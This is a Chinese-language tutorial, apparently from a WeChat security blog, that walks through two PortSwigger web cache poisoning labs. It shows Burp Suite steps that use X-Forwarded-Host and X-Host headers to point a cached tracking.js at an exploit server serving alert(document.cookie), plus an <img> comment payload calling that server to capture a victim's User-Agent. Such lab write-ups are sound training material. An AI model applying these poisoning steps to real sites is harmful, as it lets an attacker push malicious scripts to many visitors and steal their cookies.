Web缓存中毒-攻击示例（二）

在某些情况下，Web缓存中毒漏洞的产生是由于缓存设计中缺陷造成的。其他时候，一个特定的Web缓存实施的方式会带来意想不到的问题，从而被利用。在后面的章节中，将概述这两种情况下一些常见的例子。

利用多个标头进行Web缓存中毒

虽然一些网站容易受到简单额Web缓存中毒攻击，但是其他一些更复杂的攻击，只有当攻击者能够编写一个操作多个unkeyed的请求时，才容易受到攻击。

例如，假设一个网站需要使用HTTPS进行安全通信。为了实现这一点，如果接收到使用另一个协议的请求，网站将动态生成一个重定向到自己的HTTPS：

GET /random HTTP/1.1 Host: innocent-site.com X-Forwarded-Proto: http 

HTTP/1.1 301 moved permanently Location: https://innocent-site.com/random

就其本身而言，这种行为并不一定是脆弱的。然后，通过结合我们之前了解的动态生成URL中的漏洞，攻击者可能会利用这种行为生成可缓存的响应，将用户重定向到恶意URL。

场景试验-利用多个标头进行Web缓存中毒：

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-multiple-headers

场景说明：

这个试验场景包含一个Web缓存中毒漏洞，只有当使用多个标头来编写恶意请求时，才能利用这个漏洞，用户大约每分钟访问一次主页。

试验目的：

要完成这个试验，需要在访问者的浏览器中执行alert(document.cookie)的响应来毒害缓存。

攻击过程：

①访问主页后，在Burp Suite中找到对/resources/js/tracking.js的GET请求，将这个请求发送到Repeater

②在Repeater中对这个请求增加一个缓存销毁参数"?cb=1234"保证缓存不会对其他人造成影响，同时增加一个X-Forwarded-Scheme标头和参数test.com，并发送这个请求

③观察响应包，可以看到会引发302重定向的缓存响应

④再在这个请求中，增加一个X-Forwarded-Host标头和参数test.com，并发送这个请求，可以看到重定向到了test.com这个域名

⑤打开"Exploit Server"，修改文件名为"/resources/js/tracking.js"用来匹配上面那个JS，同时在"Body"中增加如下payload后保存：

alert(document.cookie)

⑥再次修改Repeater中的请求，把缓存销毁参数删掉，同时修改X-Forwarded-Host后面的参数

X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net

⑦发送这个请求，重放多次，直到命中缓存响应

⑧在缓存中毒期间，可以用浏览器访问，如果能够出现弹窗的话说明投毒成功

⑨注意每30s需要重新投毒，直到受害者访问主页即可完成试验。

利用暴露过多信息的响应进行Web缓存中毒

有时，网站会因为泄露太多关于自己及其行为的信息，从而使自己更容易受到Web缓存中毒的影响。

构建Web缓存中毒攻击的挑战之一是确保有害的响应被缓存起来，这可能涉及到大量的手动尝试和错误来研究缓存的行为。然后，有时响应会显示地揭示攻击者成功毒害缓存所需的一些信息。

比如下面这个例子，当响应包含关于缓存被清楚的频率或当前缓存响应的时间信息时：

HTTP/1.1 200 OK Via: 1.1 varnish-v4 Age: 174Cache-Control: public, max-age=1800

虽然这不会直接导致Web缓存中毒漏洞，但它确实为潜在攻击者节省了一些手动工作，因为可以确切的指导何时发送payload来确保被缓存。

这种信息还可以实现更微妙的攻击，攻击者不必向后端服务器不断发送请求，以免被引起怀疑，而是可以精心安排一个恶意请求来破坏缓存。

此外，经常使用的Vary标头，也会为攻击者提供帮助。Vary标头指定了一个附件头的列表，这些头应该被视为缓存密钥的一部分，即使它们通常是unkeyed的。它通常被用来指定User-Agent标头是缓存键，例如在网站中的移动版本如果被缓存的话，就不会被错误地提供给非移动用户。

这些信息针对特定的用户子集也可以用来构建一个多步骤的攻击。

例如，如果攻击者知道User-Agent标头是缓存键的一部分，通过确定预期受害者的User-Agent，就可以调整攻击，使只拥有该User-Agent的用户受到影响。

或者，可以找出最常用的访问该网站的User-Agent，并通过这种方式调整攻击，使其影响到最大数量的用户。

场景试验-利用未知标头进行Web缓存中毒：

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-targeted-using-an-unknown-header

场景说明：

这个试验场景容易受到Web缓存中毒的影响。受害用户会查看我们发布的任何评论。

试验目的：

要完成这个试验，需要在访问者的浏览器中执行alert(document.cookie)的响应来毒害缓存，但是还需要确保将响应发送给目标受害者所属的特定用户子集。

攻击过程：

①访问主页后，在Burp Suite中利用"Param Miner"插件来侦测可利用的标头

②从报告中可以看到，有个"X-Host"的标头存在秘密输入

③将这个请求发送到Repeater，并在Repeater中对这个请求增加一个缓存销毁参数"?cb=1234"保证缓存不会对其他人造成影响，同时增加一个X-Host标头和参数test.com，并发送这个请求

④通过响应可以看到这个标头的值用于动态生成了一个绝对URL，并被存储在JS文件中

⑤打开"Exploit Server"，修改文件名为"/resources/js/tracking.js"用来匹配上面那个JS，同时在"Body"中增加如下payload后保存：

alert(document.cookie)

⑥再次修改Repeater中的请求，把缓存销毁参数删掉，同时修改X-Host后面的参数

X -Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net

⑦发送这个请求，重放多次，直到命中缓存响应，在缓存中毒期间，可以用浏览器访问，如果能够出现弹窗的话说明投毒成功

⑧因为试验要求我们对指定受害者发起攻击，而且从前面的响应中也可以看到，Vary标头被用来指定User-Agent的缓存键，我们通过在某个blog下面留言，让受害者与我们的Exploit服务器进行交互，从而获取到受害者的User-Agent，留言payload如下：

<img src="https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/foo" />

⑨随后在"Exploit Sever"中的access log里面可以观察到获取了受害目标的User-Agent

⑩把这个User-Agent替换到前面Repeater的请求中，重复发送请求刷新缓存即可完成试验

服务器端请求伪造(SSRF)-概念梳理

文件上传漏洞-概念梳理

访问控制和权限提升漏洞-概念梳理

信息泄露漏洞-概念梳理

业务逻辑漏洞-概念梳理

命令注入攻击（上）
目录遍历攻击（上）

身份验证漏洞-概念梳理

SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理

原文始发于微信公众号（H君网安白话）：Web缓存中毒-攻击示例（二）